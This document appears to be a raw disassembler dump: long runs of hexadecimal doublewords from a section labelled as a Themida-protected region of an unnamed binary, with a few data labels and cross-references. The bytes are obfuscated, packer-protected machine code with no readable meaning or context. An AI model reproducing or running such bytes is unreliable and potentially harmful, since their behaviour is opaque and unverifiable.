70E62DD3h, 0F1815060h, 34998DA4h dd 798D8B58h, 61061425h, 1B618D31h, 71E40614h, 830F613Ch dd 100h, 2711BB66h, 9C8B60Fh, 1425319Dh, 6BA06h, 0BD030000h dd 61416A5h, 0F60C18Bh, 685h, 6D858B00h, 8B061420h, 14103195h dd 0E8C16106h, 0DA8B6604h, 0E9E2F766h, 0Ah, 59637B06h dd 0A7280485h, 0BD89651Ah, 614211Dh, 0D18BC82Bh, 15C9BD89h dd 6E90614h, 81000000h, 6AE8C6D3h, 1D858B59h, 0E906140Eh dd 9, 3BCAA122h, 2E8BB10Fh, 7C08341h, 58E0Fh, 81660000h dd 83E5F8C3h, 8B6600C0h, 0FD03BDAh, 0E83h, 56BF6600h, 66E950h dd 81660000h, 8BD11BF3h, 141B758Dh, 0B58D0906h, 60061401h dd 0A8D0Fh, 5E90000h, 4E000000h, 65519434h, 20B1958Bh dd 83610614h, 840F01E1h, 34h, 369B589h, 0A5830614h, 6141B75h dd 8D0FFEh, 89000000h, 140E1D95h, 0BE8F906h, 11000000h dd 27E7DC0Eh, 1F7FFC32h, 0BF66E5DFh, 0E95BD3B5h, 0 dd 0DA9FB58Dh, 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 5A21B4C3h, 850FEDF6h, 6, 4319D89h dd 0CE90614h, 0F6000000h, 6ACBCEE0h, 6B9DE722h, 6A89037Eh dd 39958900h, 0FF06142Bh, 14116995h, 0DE906h, 40970000h dd 23FFD95Bh, 6986E564h, 0B9969CE8h, 85Eh, 16860Fh, 11E90000h dd 0C8000000h, 275809CDh, 90C004DDh, 0D3E35F8Bh, 0F22F124Ch dd 6AFCE183h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0C759C350h, 59949C46h, 0BD8B15D0h dd 6140F3Dh, 0B8F88BFCh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F5C35141h dd 8BDFF93Fh, 141C9D9Dh, 0AE906h, 0B21E0000h, 9814573Bh dd 5C291AE3h, 0BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0C89915E9h, 0BA29160h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 9FC35646h, 3BC38166h, 0E870F39h dd 60000000h, 5E9h, 0F2ABE200h, 46B0ED8Eh, 880D61h, 9D8B0000h dd 61420CDh, 3229958Bh, 0EF810614h, 73154467h, 64D8D8Bh dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0B501AEC3h, 6142ED1h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0CFA0D5C3h, 20640012h dd 15B19501h, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0E20997C3h, 28A5663Ah, 0CE97Eh dd 0C9970000h, 8E68D494h, 0CCF2516Bh, 0BD83E5CDh, 61429ADh dd 39840F00h, 89000000h, 141A018Dh, 0B806h, 0EF810000h dd 682DF937h, 4D798D8Dh, 8F0F0614h, 3, 0FFDF8B66h, 8E8E1h dd 87350000h, 0F655E58Dh, 8B66C6D6h, 0BD8B5FD8h, 61401D5h dd 2671BD83h, 0F000614h, 45484h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0D9BD2302h dd 8306140Bh, 142671BDh, 840F0106h, 440h, 30359D0Bh, 0BF0F0614h dd 71BD83FFh, 3061426h, 3F4860Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 8CB620C3h dd 2FDAF3AEh, 6A604DEAh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0B423C351h, 0BB66F83Ah dd 8C66D3A5h, 4E180D9h, 9E8h, 0E2EB4B00h, 0C7B42ED4h, 0BF666A3Bh dd 0A5FBF2Bh, 56840FC9h, 0F000001h, 18Ch, 858BFC00h, 6141969h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 19C35040h dd 80415F39h, 1B818533h, 6A0614h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E94EBEC3h, 0Eh, 4A6FEBB6h dd 4BF4414Bh, 760AE3Bh, 8950EB40h, 6A2404h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0EAC35242h, 8E22FBB9h dd 8B21545Dh, 14346DBDh, 800F6006h, 6, 1AE5850Bh, 13E90614h dd 74000000h, 5416AAEFh, 0F2DA7CE0h, 2E132B47h, 0DB8E98F9h dd 686144CCh, 0DB666B53h, 9882BB66h, 0AC240481h, 6A24B898h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 35CEC353h, 8B15F094h, 140D69BDh, 0AD95FF06h dd 0F061409h, 8589DAB7h, 617AA98h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 4BC35141h, 27A5FFh, 67CCCC63h dd 9E9h, 209F700h, 0CD87F5D1h, 0CFE90D7Eh, 6A000001h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0B050C353h, 0EDA9F1BBh, 90858B12h, 0BF0617AAh, 5ECCD2E0h dd 1800C7h, 66530000h, 8B5FDA8Bh, 17AA94B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0CE83FABh, 0BB000000h, 27C2F04Bh, 0D932F227h, 890E5FC0h dd 140D69BDh, 858B5F06h, 6140B29h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0BFC35646h, 9D8BA924h, 6140E29h dd 0B1858B60h, 0F061429h, 18Ch, 8961FC00h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 2CB8CBC4h, 44FE144Dh, 9D8B33C2h, 6140EE1h, 1969858Bh dd 8D890614h, 6142E69h, 6A044689h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0E792C355h dd 23FE2D4Dh, 0D9259B15h, 0ABF78166h, 525050ECh, 0C7DBBB66h dd 5BBB310Fh, 5A57AF29h, 24348958h, 25BDBD8Bh, 0B5FF0614h dd 617AA90h, 0A498D89h, 0F4680614h, 81382836h, 350B2434h dd 1FBF3837h, 8D0729EDh, 17AA9885h, 12E95006h, 0AF000000h dd 7F720B54h, 9871C5F5h, 151B896h, 9D519C99h, 24048925h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 61C35343h dd 7E9ACh, 0B8DA0000h, 7D7EBD85h, 1AEB80F0h, 52D38166h dd 0AD95FFECh, 6A061409h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 83BC350h, 1DF81138h dd 9509A135h, 6141521h, 24D1BD8Bh, 66610614h, 0C78343BBh dd 14267185h, 306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 159A5EA4h, 866F578Ch dd 0AA98BD83h, 0F000617h, 4984h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 9D89110Bh dd 6140791h, 3CE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 4E39761Ch, 30501193h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0AF091AC3h, 49636BD0h, 9D31027Fh, 6142675h dd 0FDB50150h, 5F06140Ah, 2671BD83h, 0F030614h, 4B585h dd 838FB700h, 17AA98BDh, 840F0006h, 4A6h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 15h, 6FC35646h, 85BD8B0Ah dd 0FF061430h, 17AA98B5h, 28C0F06h, 8B000000h, 0F595FFDFh dd 6A06142Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 9566C352h, 391AD311h, 799D8B1Ah dd 8B061406h, 17AA8CB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0FEFF3E57h, 9E8EB1Dh dd 0AB000000h, 1D31A8ECh, 2DBE5474h, 12E9h, 0D9A59100h dd 0CA01B051h, 98EF721Bh, 0AC0999B4h, 5B9CB39Fh, 106C7h dd 6A0001h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 996795C3h, 0EE95650h, 14000000h, 0A0FE583Ah dd 91040CDEh, 0FF107D5Eh, 505F5F90h, 34896160h, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 426C8F29h, 24459501h, 0B5FF0614h, 617AA98h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A6C35141h, 18521FDCh dd 0B3195FFh, 0FA8B0614h, 0AA8CB58Bh, 9D8B0617h, 6140A2Dh dd 21D5858Bh, 3600614h, 1424BDB5h, 61D88B06h, 0C48689h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 8277EEC3h, 0E9924BCDh, 0Bh dd 0C0802570h, 10C602BCh, 8B84EFAEh, 14322995h, 0A58D8906h dd 83061425h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0CFCE9CC3h, 41B74BD0h, 9D8BCCA8h dd 614234Dh, 226D8D09h, 50890614h, 858DF520h, 617BE06h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8CC35747h dd 1EBB66DDh, 0B8868950h, 29000000h, 1405F195h, 89006A06h dd 141A5D8Dh, 0BE666006h, 0C681D5D0h, 0B2915E7h, 98B5FF61h dd 6A0617AAh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0B83C357h, 141995BDh, 3995FF06h dd 6A061409h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 2910C355h, 0A9B4686Ah, 0CF805777h dd 34895089h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0FBCF7F2Ch, 0E6E65F68h, 0FE9CFh dd 58C60000h, 171D12BAh, 0A28C0A0Eh, 53A13DB8h, 89BD3195h dd 0FF061425h, 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 325F5423h dd 15A830C4h, 0A9BBB4D2h, 666AC923h, 9B71F781h, 20F595FFh dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0D439CCC3h, 7DE6B4FFh, 6DE490BFh, 83D98B74h dd 140C21BDh, 840F0006h, 50h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0A2C35343h, 89FA8B66h, 1431958Dh dd 52509606h, 310FDC8Ah, 6870Fh, 52500000h, 585A310Fh dd 0E950585Ah, 9, 0B4854999h, 6A873CF4h, 0BD899606h, 61425BDh dd 0AA98B5FFh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0FC79DDC3h, 223DEBECh, 20B96660h dd 59B58BA3h, 6106140Fh, 2B195FFh, 0BB660614h, 0B5FF9385h dd 617AA98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 10C35141h, 812647C7h, 0A862F4B2h, 8195FF57h, 6A061430h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0C23EC352h, 0A704AAF5h, 0F5BD83F6h, 2061409h dd 66840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0F98B58C3h, 1D698589h, 858B0614h dd 6142D01h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 36C35242h, 89C1EB80h, 1400899Dh, 0C606h, 0FE9h dd 0B2CD9300h, 0F4D0908h, 6E49C093h, 6F56BE2Fh, 244D85C7h dd 614h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0C074CC3h, 1C758531h, 0A0E90614h dd 0E9FFFFF2h, 5, 0CA9805FCh, 57C18BDCh, 8ED9589h byte_58F88C db 14h, 6, 5Fh ; DATA XREF: Themida_:00548FB0o byte_58F88F db 8Dh ; DATA XREF: Themida_:005492C8o ; Themida_:0054AD64o dd 140F9985h, 90FB8B06h, 52505250h, 0A4DEBF66h, 11E9310Fh dd 0C2000000h, 0A60E3BEBh, 0E100B598h, 55DF4FA1h, 0FECB52D8h dd 310F585Ah, 607ABB66h, 0E850585Ah, 10h, 611F01DFh, 0F8DE134h dd 3B7FF8D3h, 0A4797562h, 48F2BB66h, 6A905Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0C6D6F6C3h dd 14F12ACh, 140A2985h, 6A006A06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0EAF4C355h dd 89006A44h, 141159B5h, 0EA858D06h, 6006186Eh, 12E9h dd 3ABD2900h, 0DDEF7D57h, 5C1B1CDCh, 6CA522B0h, 5004D410h dd 615FDC8Ah, 35DBD03h, 0C0830614h, 0C5BD8B05h, 50061416h dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 7F16C356h, 0BF0F5489h, 6A006AFBh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 4660C356h, 8B6607D7h, 6A006AD9h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0BAFBC353h, 31B1F5D3h, 9E98E9C4h, 9D9D8B57h, 5B061419h dd 6880Fh, 0BD8B0000h, 6141C39h, 1A7195FFh, 6A0614h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0B70F79C3h, 0FC8D8DFFh, 660617A8h, 0D1FFDE8Bh, 2A41BD8Bh dd 0BD830614h, 61412CDh, 0A2850F01h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 494AC353h, 67AE5D0h, 70AB3802h, 0C19D8Bh, 0EF800614h dd 6A026A9Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 422C352h, 0BD8B225Fh, 6142601h dd 0EE990h, 56C20000h, 0B895075Bh, 0A205AEC6h, 5AB2F7F7h dd 0DE8B6650h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0B9719414h, 789BD01h dd 95FF0614h, 6140939h, 3850Fh, 8B660000h, 0D93E9DFh db 2 dup(0) word_58FACE dw 0E8h ; DATA XREF: Themida_:0054B890o dd 5D000000h, 6EF4ED81h, 6A0618h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 36D2EFC3h, 5216F03Fh dd 0B509A189h, 6142579h, 10E8h, 841C1700h, 6C31FD3h, 0C40500F9h dd 0BB8F4E7Dh, 85896083h, 6142CB1h, 823C1EBFh, 8D5B6130h dd 17962385h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 1C94F107h, 0D40BA653h, 2B67BB66h dd 820F50h, 89000000h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 7F057DC3h, 304B7BEEh dd 35FF6409h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D4C35141h dd 0D2BA1877h, 89139C53h, 8D9D8BA0h, 8B061421h, 140B3DBDh dd 25896406h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E6C35141h dd 0E2B8F103h, 61CFC593h, 0F6DBD23h, 0BD8B0614h, 6142F29h dd 236D85FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 7478B4C3h, 919A601h, 66B54C2Ch dd 0FF6ADA8Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 88C35646h, 0C54B2E35h, 0FF92A377h, 142E91B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 66138B04h, 0FFFAE8BBh, 142B1995h, 15BE906h, 89560000h dd 14322D9Dh, 0B05B06h, 0F499D23h, 70E60614h, 5AE1EF81h dd 9589650Bh, 6140229h, 0BD2971E4h, 6141C89h, 830F613Ch dd 12Dh, 2A018589h, 0B60F0614h, 959D8BC8h, 0E906140Bh dd 0Dh, 0DA8D81Bh, 883B5D1Fh, 41B2DCCBh, 6BA1Dh, 840F0000h dd 6, 0AA1C781h, 810F48A1h, 6, 79C5CF81h, 0C18B1CA8h, 0E804E8C1h dd 10h, 0B561EE85h, 0ED4F1F2Fh, 77F89B82h, 58E5BEDCh, 4890Fh dd 0BF660000h, 665FB862h, 7E9E2F7h, 0B2000000h, 45BD8207h dd 0C82B1D87h, 2BCB8166h, 8BD18BF3h, 1424919Dh, 0FE906h dd 0AE90000h, 5B000000h, 8682862Ch, 5C8CAC88h, 0D5858B73h dd 83061408h, 0D38107C0h, 1EF20635h, 0E900C083h, 0Fh, 7795D43Fh dd 0B6F09F73h, 0D2C29D5Ch, 3B03294Bh, 2D830FD0h, 31000000h dd 140B1185h, 0BB666006h, 0CE9B7A7h, 96000000h, 1376664Dh dd 23A279CBh, 61F55E99h, 48E9h, 19D8900h, 0BB061421h, 6C884E68h dd 5318D8Bh, 0A0B30614h, 0F01E183h, 2C84h, 0A583FC00h dd 6140531h, 8E9FEh, 0B4B80000h, 134DC579h, 9589AAC8h dd 61408D5h, 23E1B589h, 9D8B0614h, 6142429h, 0E9h, 98B58D00h dd 6A0617E4h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0FAD2C356h, 67FB1CBCh, 0AE8h dd 0BA7BF00h, 80EA18C7h, 0FCADD61Fh, 8B006A5Fh, 142C71BDh dd 0F8BF0F06h, 116995FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0B2D189C3h, 2CB9F224h dd 6A000008h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0AED9C355h, 0FE8B6656h, 60FCE183h dd 3810Fh, 8B660000h, 9D0961D9h, 6142C21h, 56006AFCh, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0AF94DAB6h, 0E9F275F5h, 0Fh, 3312889Ch, 88F68F53h, 0E2820ABCh dd 0B83D5F85h, 0 dd 30699529h, 0BA0614h, 80000000h, 33AD49C7h, 3E8D1C2h dd 4E983D0h, 6AF475h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 239568C3h, 2810F3Ah, 51000000h dd 5E95Bh, 4A540000h, 0DCAD6A2h, 88h, 0A39DF381h, 958B4826h dd 6143229h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 73C35040h, 5CB6F09Fh, 4D8D8B9Dh, 6A061406h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 99B9C351h, 0A5DE2B64h, 0E91F3710h, 5, 0D2F9981Ah, 0C28B50D0h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 1F20C350h, 8D89F1B6h, 6140789h, 29ADBD83h, 0F000614h dd 6C84h, 0C5B58900h, 3061404h, 142C19BDh, 0B806h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 82B6FEC3h, 0D6DEEAD6h, 8B523D1Eh, 1408E9BDh, 8D8D5F06h dd 6144D79h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 88C35141h, 0A436C9B9h, 29E1FFE1h, 142675BDh, 71BD8306h dd 61426h, 386840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0C8811CC3h, 8B669AF8h dd 71BD83DEh, 1061426h, 371840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0E042A1C3h dd 0E1436F5Ah, 11E9A042h, 34000000h, 0B450DB32h, 0A577B7D1h dd 0E863BCAFh, 0FD5ADEC6h, 2671BD83h, 0F030614h, 2F486h dd 0C1858900h, 60061400h, 9EE38166h, 0D3816609h, 8C66DB90h dd 0CB8166D9h, 8C0FAF6Fh, 8, 2D9D8952h, 5B061411h, 6A04E180h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 54C8C357h, 2431BD8Bh, 810F0614h, 3, 0A02DF80h dd 0ED840FC9h, 8B000000h, 1425CDBDh, 69858B06h, 6A061419h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 99D5C356h, 33DF8B66h, 141B8185h, 5026B706h dd 0E91DB260h, 0Ah, 0A765F78h, 0CEB40704h, 8961B157h, 0BD8B2404h dd 6141D59h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 9D8B22C3h, 61403C5h, 21958951h dd 5B06142Ch, 4064E168h, 0D6BF66ACh, 2404814Ah, 53DE9F1Eh dd 8A0FFCh, 0FF000000h, 1409AD95h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 6698BF70h dd 7255CF81h, 0AA988589h, 7BE90617h, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 13B0C350h, 0D25875Dh, 0FC8AF9DAh, 0AA90858Bh, 6A0617h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 7A5BCBC3h, 1800C7DCh, 66000000h, 276BDF81h, 0AA94B58Bh dd 6A0617h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 79D19EC3h, 0B5894378h, 614036Dh, 0B29858Bh dd 0BF0F0614h, 890689DFh, 1400FDB5h, 69858B06h, 6A061419h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 7E48C350h, 664C6742h, 8953A7D7h, 96F90446h dd 0F26ABF66h, 0D0B35250h, 6A965Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 2190F6C3h dd 0FF050D5Eh, 17AA90B5h, 0ED958906h, 6806140Eh, 2A6E06D5h dd 34815B57h, 71052A24h, 0D5BD8B2Ah, 8D06142Bh, 17AA9885h dd 93D78106h, 9071D14Dh, 0F98B6650h, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0FFBA84E5h dd 1409AD95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 4EB7E234h, 0E9C66141h, 12h, 0E67B9B63h dd 9C41238Ah, 0B32535B9h, 7C74E5A2h, 0FC613AEEh, 0EF65D9BBh dd 7185C745h, 3061426h, 89000000h, 140325BDh, 98BD8306h dd 617AAh, 2F840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0D98A53C3h, 27E9h, 7EC78100h dd 8927C856h, 1406E59Dh, 0C305006h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 77C35747h, 369E634Ah, 0E781F1D3h, 2DC358F1h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 15C35242h dd 0D4162A5Ch, 9604BB32h, 142D8D89h, 0BD830614h, 6142671h dd 0F8850F03h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 10EC357h, 1425F5B5h dd 83C5B706h, 17AA98BDh, 840F0006h, 3C7h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Bh, 42C35747h, 0CB21276Ch dd 0F9D9627h, 2B84h, 0CE800h, 0A29E0000h, 55822F22h, 734AF6Dh dd 14E9BBE4h, 0EF000000h, 5885250Fh, 204E7B3h, 70CBFC3Eh dd 9F232810h, 5FBD0E60h, 0AA98B5FFh, 9D0B0617h, 6140C19h dd 11E8h, 0DC85E100h, 92CF424h, 771C18B9h, 930E5EF0h, 8B6694D1h dd 95FF5FFBh, 6142AF5h, 800195BFh, 8CB58B4Ch, 290617AAh dd 1429918Dh, 106C706h, 66000100h, 50D755BBh, 0E9525050h dd 11h, 72C27DF0h, 0FC6D90h, 0D0A1282Eh, 0BC7121CDh, 8A310F5Dh dd 5B585ADEh, 0F9243489h, 0AA98B5FFh, 6A0617h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0FF2661C3h, 140B3195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 4ABF12FCh dd 0AA8CB58Bh, 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0E47CCAC3h, 95E868DEh, 858BB9B7h dd 61421D5h, 0F98B6651h, 0C486895Fh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 3923C353h, 12E9F1h, 3D9B0000h, 90929612h, 2BB304Dh dd 0C05789Bh, 161AAE15h, 3229958Bh, 0E8F90614h, 10h, 0D8B31B91h dd 0E8EEDAD0h, 77C700ABh, 73B01335h, 5FFFB70Fh, 6A04C283h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 70FAC356h, 89E42269h, 858D2050h, 617BE06h dd 23498D89h, 86890614h, 0B8h, 31FBB70Fh, 1419F18Dh, 6A006A06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0C362C353h, 19719D8Bh, 0B5FF0614h, 617AA98h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 70C35343h dd 86F894FDh, 800FDCC6h, 2, 95FFDA8Bh, 6140939h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 10C35747h, 5E96049h, 0C000000h, 423245E6h dd 2A619D89h, 0B7610614h, 0D88B962Eh, 963EB350h, 0DEAE0EBBh dd 98B5FF52h, 660617AAh, 630E381h, 20F595FFh, 83FC0614h dd 140C21BDh, 840F0006h, 49h, 718D8B60h, 8B06140Fh, 14091585h dd 0E8966106h, 0Dh, 977ABC58h, 5B7821A2h, 67D38CD1h, 0D05CBBB7h dd 505B1A51h, 0CE860h, 0DD40000h, 0B1DDE93h, 0CEB65265h dd 0BB66B2C1h, 0B4582395h, 899661C4h, 141C4D95h, 98B5FF06h dd 8B0617AAh, 1405A5BDh, 0B195FF06h, 1061402h, 14347D95h dd 98B5FF06h, 890617AAh, 1422318Dh, 8195FF06h, 89061430h dd 140E6185h, 0F5BD8306h, 2061409h, 7B840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 3519BAC3h, 9D73BF85h, 858B752Ch, 6142D01h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0F4C35646h, 0CCD418C1h dd 1D9D8BEFh, 0F061421h, 58Dh, 9024BB00h, 0C64C2Ah, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 4D85C746h, 61424h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 69D6C350h, 0F7E7EC18h dd 9D8BB222h, 6142E99h, 0E9D88B66h, 0FFFFF3E6h, 30858589h dd 0C18B0614h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 40C35747h db 0BBh, 0DAh, 7Ch byte_59085F db 67h ; DATA XREF: Themida_:0054A550o dd 99858D2Fh, 6A06140Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 55A5C356h, 81659836h dd 9D8B3F77h, 61406A1h, 0C212BB90h, 8B50328Dh, 0D88B90D9h dd 6498501h, 6A0614h, 249B589h, 6A0614h, 225D8D89h, 858D0614h dd 6187E81h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 0E1C35545h, 0EC0C2698h, 0E9FA4C1Bh, 14h, 3E57D5F5h dd 0EB1DFEFFh, 0B144830Ch, 4C2658D2h, 448DD497h, 6A05C083h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 7BF8C352h, 2377456Dh, 